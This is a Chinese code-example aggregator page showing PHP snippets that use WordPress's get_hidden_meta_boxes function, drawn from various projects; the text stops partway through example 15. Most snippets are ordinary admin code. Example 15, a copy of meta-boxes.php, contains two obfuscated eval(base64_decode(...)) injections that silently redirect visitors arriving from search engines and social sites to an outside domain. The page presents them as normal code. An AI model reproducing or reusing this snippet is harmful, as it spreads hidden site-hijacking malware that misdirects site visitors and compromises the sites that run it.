• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

PHP get_hidden_meta_boxes函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中get_hidden_meta_boxes函数的典型用法代码示例。如果您正苦于以下问题:PHP get_hidden_meta_boxes函数的具体用法?PHP get_hidden_meta_boxes怎么用?PHP get_hidden_meta_boxes使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了get_hidden_meta_boxes函数的18个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: meta_box_prefs

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @param WP_Screen $screen
 */
function meta_box_prefs($screen)
{
    global $wp_meta_boxes;
    if (is_string($screen)) {
        $screen = convert_to_screen($screen);
    }
    if (empty($wp_meta_boxes[$screen->id])) {
        return;
    }
    $hidden = get_hidden_meta_boxes($screen);
    foreach (array_keys($wp_meta_boxes[$screen->id]) as $context) {
        foreach (array_keys($wp_meta_boxes[$screen->id][$context]) as $priority) {
            foreach ($wp_meta_boxes[$screen->id][$context][$priority] as $box) {
                if (false == $box || !$box['title']) {
                    continue;
                }
                // Submit box cannot be hidden
                if ('submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id']) {
                    continue;
                }
                $box_id = $box['id'];
                echo '<label for="' . $box_id . '-hide">';
                echo '<input class="hide-postbox-tog" name="' . $box_id . '-hide" type="checkbox" id="' . $box_id . '-hide" value="' . $box_id . '"' . (!in_array($box_id, $hidden) ? ' checked="checked"' : '') . ' />';
                echo "{$box['title']}</label>\n";
            }
        }
    }
}
开发者ID:sb-xs,项目名称:que-pour-elle,代码行数:35,代码来源:screen.php


示例2: cmb_do_meta_boxes

/**
 * Meta-Box template function
 *
 * @since 2.5.0
 *
 * @param string|object $screen Screen identifier
 * @param string $context box context
 * @param mixed $object gets passed to the box callback function as first parameter
 * @return int number of meta_boxes
 */
function cmb_do_meta_boxes($screen, $context, $object)
{
    global $wp_meta_boxes;
    static $already_sorted = false;
    if (empty($screen)) {
        $screen = get_current_screen();
    } elseif (is_string($screen)) {
        $screen = convert_to_screen($screen);
    }
    $page = $screen->id;
    $hidden = get_hidden_meta_boxes($screen);
    $i = 0;
    do {
        // Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
        if (!$already_sorted && ($sorted = get_user_option("meta-box-order_{$page}"))) {
            foreach ($sorted as $box_context => $ids) {
                foreach (explode(',', $ids) as $id) {
                    if ($id && 'dashboard_browser_nag' !== $id) {
                        add_meta_box($id, null, null, $screen, $box_context, 'sorted');
                    }
                }
            }
        }
        $already_sorted = true;
        if (!isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context])) {
            break;
        }
        foreach (array('high', 'sorted', 'core', 'default', 'low') as $priority) {
            if (isset($wp_meta_boxes[$page][$context][$priority])) {
                foreach ((array) $wp_meta_boxes[$page][$context][$priority] as $box) {
                    if (false == $box || !$box['title']) {
                        continue;
                    }
                    $i++;
                    $hidden_class = in_array($box['id'], $hidden) ? ' hide-if-js' : '';
                    ?>

					<div id="<?php 
                    esc_attr_e($box['id']);
                    ?>
" class="<?php 
                    esc_attr_e(postbox_classes($box['id'], $page) . $hidden_class);
                    ?>
">

						<?php 
                    call_user_func($box['callback'], $object, $box);
                    ?>

					</div>

				<?php 
                }
            }
        }
    } while (0);
    return $i;
}
开发者ID:duncanjbrown,项目名称:Custom-Meta-Boxes,代码行数:68,代码来源:fields-anywhere.php


示例3: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    ?>
	<p class="hide-if-no-js" id="add-new-comment"><a class="button" href="#commentstatusdiv" onclick="window.commentReply && commentReply.addcomment(<?php 
    echo $post->ID;
    ?>
);return false;"><?php 
    _e('Add comment');
    ?>
</a></p>
	<?php 
    $total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
    $wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
    $wp_list_table->display(true);
    if (1 > $total) {
        echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
    } else {
        $hidden = get_hidden_meta_boxes(get_current_screen());
        if (!in_array('commentsdiv', $hidden)) {
            ?>
			<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
            echo $total;
            ?>
, 10);});</script>
			<?php 
        }
        ?>
		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php 
        echo $total;
        ?>
);return false;"><?php 
        _e('Show comments');
        ?>
</a> <span class="spinner"></span></p>
		<?php 
    }
    wp_comment_trashnotice();
}
开发者ID:SayenkoDesign,项目名称:ividf,代码行数:46,代码来源:meta-boxes.php


示例4: do_meta_boxes

/**
 * Meta-Box template function
 *
 * @since 2.5.0
 *
 * @param string|object $screen Screen identifier
 * @param string $context box context
 * @param mixed $object gets passed to the box callback function as first parameter
 * @return int number of meta_boxes
 */
function do_meta_boxes($screen, $context, $object)
{
    global $wp_meta_boxes;
    static $already_sorted = false;
    if (empty($screen)) {
        $screen = get_current_screen();
    } elseif (is_string($screen)) {
        $screen = convert_to_screen($screen);
    }
    $page = $screen->id;
    $hidden = get_hidden_meta_boxes($screen);
    printf('<div id="%s-sortables" class="meta-box-sortables">', htmlspecialchars($context));
    $i = 0;
    do {
        // Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
        if (!$already_sorted && ($sorted = get_user_option("meta-box-order_{$page}"))) {
            foreach ($sorted as $box_context => $ids) {
                foreach (explode(',', $ids) as $id) {
                    if ($id && 'dashboard_browser_nag' !== $id) {
                        add_meta_box($id, null, null, $screen, $box_context, 'sorted');
                    }
                }
            }
        }
        $already_sorted = true;
        if (!isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context])) {
            break;
        }
        foreach (array('high', 'sorted', 'core', 'default', 'low') as $priority) {
            if (isset($wp_meta_boxes[$page][$context][$priority])) {
                foreach ((array) $wp_meta_boxes[$page][$context][$priority] as $box) {
                    if (false == $box || !$box['title']) {
                        continue;
                    }
                    $i++;
                    $style = '';
                    $hidden_class = in_array($box['id'], $hidden) ? ' hide-if-js' : '';
                    echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . $hidden_class . '" ' . '>' . "\n";
                    if ('dashboard_browser_nag' != $box['id']) {
                        echo '<div class="handlediv" title="' . esc_attr__('Click to toggle') . '"><br /></div>';
                    }
                    echo "<h3 class='hndle'><span>{$box['title']}</span></h3>\n";
                    echo '<div class="inside">' . "\n";
                    call_user_func($box['callback'], $object, $box);
                    echo "</div>\n";
                    echo "</div>\n";
                }
            }
        }
    } while (0);
    echo "</div>";
    return $i;
}
开发者ID:cptpike,项目名称:linuxhardwareguide,代码行数:63,代码来源:template.php


示例5: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    global $wpdb;
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    ?>
	<p class="hide-if-no-js" id="add-new-comment"><a href="#commentstatusdiv" onclick="commentReply.addcomment(<?php 
    echo $post->ID;
    ?>
);return false;"><?php 
    _e('Add comment');
    ?>
</a></p>
	<?php 
    $total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
    $wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
    $wp_list_table->display(true);
    if (1 > $total) {
        echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
    } else {
        $hidden = get_hidden_meta_boxes(get_current_screen());
        if (!in_array('commentsdiv', $hidden)) {
            ?>
			<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
            echo $total;
            ?>
, 10);});</script>
			<?php 
        }
        ?>
		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php 
        echo $total;
        ?>
);return false;"><?php 
        _e('Show comments');
        ?>
</a> <img class="waiting" style="display:none;" src="<?php 
        echo esc_url(admin_url('images/wpspin_light.gif'));
        ?>
" alt="" /></p>
		<?php 
    }
    wp_comment_trashnotice();
}
开发者ID:ranjithinnergys,项目名称:WordPress,代码行数:50,代码来源:meta-boxes.php


示例6: do_accordion_sections

    /**
     * Fallback for WP < 3.6
     */
    public static function do_accordion_sections($screen, $context, $object)
    {
        if (function_exists('do_accordion_sections')) {
            return do_accordion_sections($screen, $context, $object);
        }
        global $wp_meta_boxes;
        $screen = 'formidable_page_formidable-styles';
        $screen = convert_to_screen($screen);
        $page = $screen->id;
        $hidden = get_hidden_meta_boxes($screen);
        ?>
    	<div id="side-sortables" class="accordion-container">
    	<?php 
        $i = 0;
        $first_open = false;
        do {
            if (!isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context])) {
                break;
            }
            foreach (array('high', 'core', 'default', 'low') as $priority) {
                if (isset($wp_meta_boxes[$page][$context][$priority])) {
                    foreach ($wp_meta_boxes[$page][$context][$priority] as $box) {
                        if (false == $box || !$box['title']) {
                            continue;
                        }
                        $i++;
                        $hidden_class = in_array($box['id'], $hidden) ? 'hide-if-js' : '';
                        if (!$first_open && empty($hidden_class)) {
                            $first_open = true;
                        }
                        ?>
						<div class="postbox <?php 
                        echo esc_attr($box['id']);
                        ?>
">
						<div class="handlediv" title="<?php 
                        esc_attr_e('Click to toggle', 'formidable');
                        ?>
"><br/></div>
                        <h3 class='hndle'><span><?php 
                        echo esc_html($box['title']);
                        ?>
</span></h3>
                            <div class="accordion-section-content <?php 
                        postbox_classes($box['id'], $page);
                        ?>
">
                                <div class="inside">
    								<?php 
                        call_user_func($box['callback'], $object, $box);
                        ?>
    							</div><!-- .inside -->
    						</div><!-- .accordion-section-content -->
    					</div><!-- .postbox -->
    					<?php 
                    }
                }
            }
        } while (0);
        ?>
    	</div><!-- .accordion-container -->
    	<?php 
        return $i;
    }
开发者ID:tshdvs,项目名称:5thAveBoutique,代码行数:67,代码来源:FrmStylesController.php


示例7: do_assignment_meta_boxes

function do_assignment_meta_boxes($page, $context, $object, $assignments = array(), &$assignment_info = array())
{
    global $wp_meta_boxes;
    global $gantry_override_assignment_info;
    static $already_sorted = false;
    $hidden = get_hidden_meta_boxes($page);
    printf('<div id="%s-sortables" class="meta-box-sortables">', htmlspecialchars($context));
    $i = 0;
    do {
        // Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
        if (!$already_sorted && ($sorted = get_user_option("meta-box-order_{$page}"))) {
            foreach ($sorted as $box_context => $ids) {
                foreach (explode(',', $ids) as $id) {
                    if ($id) {
                        add_meta_box($id, null, null, $page, $box_context, 'sorted');
                    }
                }
            }
        }
        $already_sorted = true;
        if (!isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context])) {
            break;
        }
        $skip_checkbox = array('templatepage', 'menu', 'taxonomy');
        foreach (array('high', 'sorted', 'core', 'default', 'low') as $priority) {
            if (isset($wp_meta_boxes[$page][$context][$priority])) {
                foreach ((array) $wp_meta_boxes[$page][$context][$priority] as $box) {
                    if (false == $box || !$box['title']) {
                        continue;
                    }
                    $i++;
                    $style = '';
                    //echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . $hidden_class . '" ' . '>' . "\n";
                    $data = $box['args'];
                    $assigned = "";
                    $checked = "";
                    if (isset($assignments[$data->archetype]) && isset($assignments[$data->parchetype][$data->type]) && is_bool($assignments[$data->archetype][$data->type]) && $assignments[$data->archetype][$data->type] === true) {
                        $assigned = " added";
                        $checked = ' checked="checked"';
                        $data->single_label = _g('Type');
                        $gantry_override_assignment_info[$data->archetype . '::' . $data->type] = $data;
                    }
                    echo '<div id="' . $box['id'] . '"  class="assignments-block">' . "\n";
                    echo "\t<h2 class='" . strtolower(str_replace(" ", "-", $box['title'])) . "'>\n";
                    if (!in_array($data->archetype, $skip_checkbox)) {
                        echo "\t\t<label class=\"rokchecks global menu-item-" . $box['id'] . "\">\n";
                        echo '			<input class="assignment-checkbox global" ' . $checked . ' type="checkbox" name="menu-item-' . $box['id'] . '" value="' . $box['id'] . '" />' . "\n";
                        echo " \t\t</label>\n";
                    }
                    echo '		<span class="' . $data->archetype . '::' . $data->type . '">' . $box['title'] . "</span></h2>\n";
                    echo '	<div class="inside' . $assigned . '">' . "\n";
                    call_user_func($box['callback'], $object, $box, $assignments);
                    echo "\t</div>\n";
                    echo "  <div class=\"clr\"></div>\n";
                    echo "\t<div class=\"footer-block\">\n";
                    echo "\t\t<div class=\"select-all\"><a href=\"#\">Select All</a></div>\n";
                    echo "\t\t<div class=\"add-button\"><input class=\"button-secondary add-to-assigned\" type=\"button\" value=\"Add to Assigned\" /></div>\n";
                    echo "\t</div>\n";
                    echo "</div>\n";
                    //echo "</div>\n";
                }
            }
        }
    } while (0);
    echo "</div>";
    return $i;
}
开发者ID:rotoballer,项目名称:emily,代码行数:67,代码来源:assignment_functions.php


示例8: meta_box_prefs

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @global array $wp_meta_boxes
 *
 * @param WP_Screen $screen
 */
function meta_box_prefs($screen)
{
    global $wp_meta_boxes;
    if (is_string($screen)) {
        $screen = convert_to_screen($screen);
    }
    if (empty($wp_meta_boxes[$screen->id])) {
        return;
    }
    $hidden = get_hidden_meta_boxes($screen);
    foreach (array_keys($wp_meta_boxes[$screen->id]) as $context) {
        foreach (array('high', 'core', 'default', 'low') as $priority) {
            if (!isset($wp_meta_boxes[$screen->id][$context][$priority])) {
                continue;
            }
            foreach ($wp_meta_boxes[$screen->id][$context][$priority] as $box) {
                if (false == $box || !$box['title']) {
                    continue;
                }
                // Submit box cannot be hidden
                if ('submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id']) {
                    continue;
                }
                $widget_title = $box['title'];
                if (is_array($box['args']) && isset($box['args']['__widget_basename'])) {
                    $widget_title = $box['args']['__widget_basename'];
                }
                printf('<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>', esc_attr($box['id']), checked(in_array($box['id'], $hidden), false, false), $widget_title);
            }
        }
    }
}
开发者ID:robbenz,项目名称:plugs,代码行数:41,代码来源:screen.php


示例9: post_comment_meta_box

        /**
         * Override the default comments meta box on Add/Edit screen
         *
         * @since 1.0
         * @access public
         * @global object Used to query the database using the WordPress Database API
         *
         * @param object $post Current Post
         * @return void
         */
        public function post_comment_meta_box($post)
        {
            global $wpdb;
            wp_nonce_field('get-comments', 'add_comment_nonce', false);
            $total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
            $wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
            $wp_list_table->display(true);
            if (1 > $total) {
                echo '<p id="no-comments">' . apply_filters('edd_reviews_admin_no_reviews_text', __('No reviews yet.', 'edd-reviews')) . '</p>';
            } else {
                $hidden = get_hidden_meta_boxes(get_current_screen());
                if (!in_array('commentsdiv', $hidden)) {
                    ?>
				<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
                    echo $total;
                    ?>
, 10);});</script>
				<?php 
                }
                ?>
			<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php 
                echo $total;
                ?>
);return false;"><?php 
                _e('Show comments');
                ?>
</a> <span class="spinner"></span></p>
			<?php 
            }
            wp_comment_trashnotice();
        }
开发者ID:SelaInc,项目名称:eassignment,代码行数:41,代码来源:edd-reviews.php


示例10: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    global $wpdb, $post_ID;
    $total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
    if (1 > $total) {
        echo '<p>' . __('No comments yet.') . '</p>';
        return;
    }
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    add_filter('manage_edit-comments_columns', 'post_comment_meta_box_thead', 8, 1);
    ?>

<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead><tr>
	<?php 
    print_column_headers('edit-comments');
    ?>
</tr></thead>
<tbody id="the-comment-list" class="list:comment"></tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php 
    echo $total;
    ?>
);return false;"><?php 
    _e('Show comments');
    ?>
</a> <img class="waiting" style="display:none;" src="<?php 
    echo esc_url(admin_url('images/wpspin_light.gif'));
    ?>
" alt="" /></p>
<?php 
    $hidden = get_hidden_meta_boxes('post');
    if (!in_array('commentsdiv', $hidden)) {
        ?>
		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
        echo $total;
        ?>
, 10);});</script>
<?php 
    }
    remove_filter('manage_edit-comments_columns', 'post_comment_meta_box_thead');
    wp_comment_trashnotice();
}
开发者ID:google-code-backups,项目名称:pumpmyvote,代码行数:50,代码来源:meta-boxes.php


示例11: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    global $wpdb, $post_ID;
    $total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
    if (1 > $total) {
        echo '<p>' . __('No comments yet.') . '</p>';
        return;
    }
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    $wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
    $wp_list_table->display(true);
    ?>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php 
    echo $total;
    ?>
);return false;"><?php 
    _e('Show comments');
    ?>
</a> <img class="waiting" style="display:none;" src="<?php 
    echo esc_url(admin_url('images/wpspin_light.gif'));
    ?>
" alt="" /></p>
<?php 
    $hidden = get_hidden_meta_boxes('post');
    if (!in_array('commentsdiv', $hidden)) {
        ?>
		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
        echo $total;
        ?>
, 10);});</script>
<?php 
    }
    wp_comment_trashnotice();
}
开发者ID:xalgorithm,项目名称:capistrano-stuff,代码行数:41,代码来源:meta-boxes.php


示例12: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    global $wpdb, $post_ID;
    $total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
    if (1 > $total) {
        echo '<p>' . __('No comments yet.') . '</p>';
        return;
    }
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    ?>

<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead><tr>
    <th scope="col" class="column-author"><?php 
    _e('Author');
    ?>
</th>
    <th scope="col" class="column-comment">
<?php 
    /* translators: field name in comment form */
    echo _x('Comment', 'noun');
    ?>
</th>
</tr></thead>
<tbody id="the-comment-list" class="list:comment"></tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php 
    echo $total;
    ?>
);return false;"><?php 
    _e('Show comments');
    ?>
</a> <img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" /></p>
<?php 
    $hidden = get_hidden_meta_boxes('post');
    if (!in_array('commentsdiv', $hidden)) {
        ?>
		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
        echo $total;
        ?>
, 10);});</script>
<?php 
    }
}
开发者ID:klr2003,项目名称:sourceread,代码行数:51,代码来源:edit-form-advanced.php


示例13: post_comment_status_meta_box

/**
 * Display comment status for post form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_comment_status_meta_box($post)
{
    global $wpdb, $post_ID;
    ?>
<input name="advanced_view" type="hidden" value="1" />
<p class="meta-options">
	<label for="comment_status" class="selectit"> <input name="comment_status" type="checkbox" id="comment_status" value="open" <?php 
    checked($post->comment_status, 'open');
    ?>
 /> <?php 
    _e('Allow comments on this post');
    ?>
</label><br />
	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php 
    checked($post->ping_status, 'open');
    ?>
 /> <?php 
    _e('Allow <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">trackbacks and pingbacks</a> on this post');
    ?>
</label>
</p>
<?php 
    $total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
    if (!$post_ID || $post_ID < 0 || 1 > $total) {
        return;
    }
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    ?>

<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead>
	<tr>
    <th scope="col" class="column-author"><?php 
    _e('Author');
    ?>
</th>
    <th scope="col" class="column-comment"><?php 
    echo _c('Comment|noun');
    ?>
</th>
  </tr>
</thead>
<tbody id="the-comment-list" class="list:comment">
</tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php 
    echo $total;
    ?>
);return false;"><?php 
    _e('Show comments');
    ?>
</a> <img class="waiting" style="display:none;" src="images/loading.gif" alt="" /></p>
<?php 
    $hidden = get_hidden_meta_boxes('post');
    if (!in_array('commentstatusdiv', $hidden)) {
        ?>
		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
        echo $total;
        ?>
, 10);});</script>
<?php 
    }
}
开发者ID:blowery,项目名称:wordpress,代码行数:70,代码来源:edit-form-advanced.php


示例14: get_current_screen

<?php

global $wp_meta_boxes;
$screen = get_current_screen();
$page = $screen->id;
$context = 'normal';
$hidden = get_hidden_meta_boxes($screen);
if (isset($wp_meta_boxes[$page][$context])) {
    echo '<h3 id="course-tabs-h3">';
    foreach (array('high', 'sorted', 'core', 'default', 'low') as $priority) {
        if (isset($wp_meta_boxes[$page][$context][$priority])) {
            foreach ((array) $wp_meta_boxes[$page][$context][$priority] as $box) {
                if (false == $box || !$box['title']) {
                    continue;
                }
                $i++;
                $hidden_class = in_array($box['id'], $hidden) ? ' hide-if-js' : '';
                if ($box['id'] == 'course_tabs') {
                    continue;
                }
                echo '<a href="#' . $box['id'] . '">' . $box['title'] . '</a>';
            }
        }
    }
    echo '</h3>';
}
开发者ID:thonysmith,项目名称:LearnPress,代码行数:26,代码来源:tabs.php


示例15: post_comment_meta_box

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box($post)
{
    global $wpdb, $post_ID;
    $total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
    if (1 > $total) {
        echo '<p>' . __('No comments yet.') . '</p>';
        return;
    }
    wp_nonce_field('get-comments', 'add_comment_nonce', false);
    ?>

<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead><tr>
    <th scope="col" class="column-author"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Author');
    ?>
</th>
    <th scope="col" class="column-comment">
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    /* translators: field name in comment form */
    echo _x('Comment', 'noun');
    ?>
</th>
</tr></thead>
<tbody id="the-comment-list" class="list:comment"></tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php 
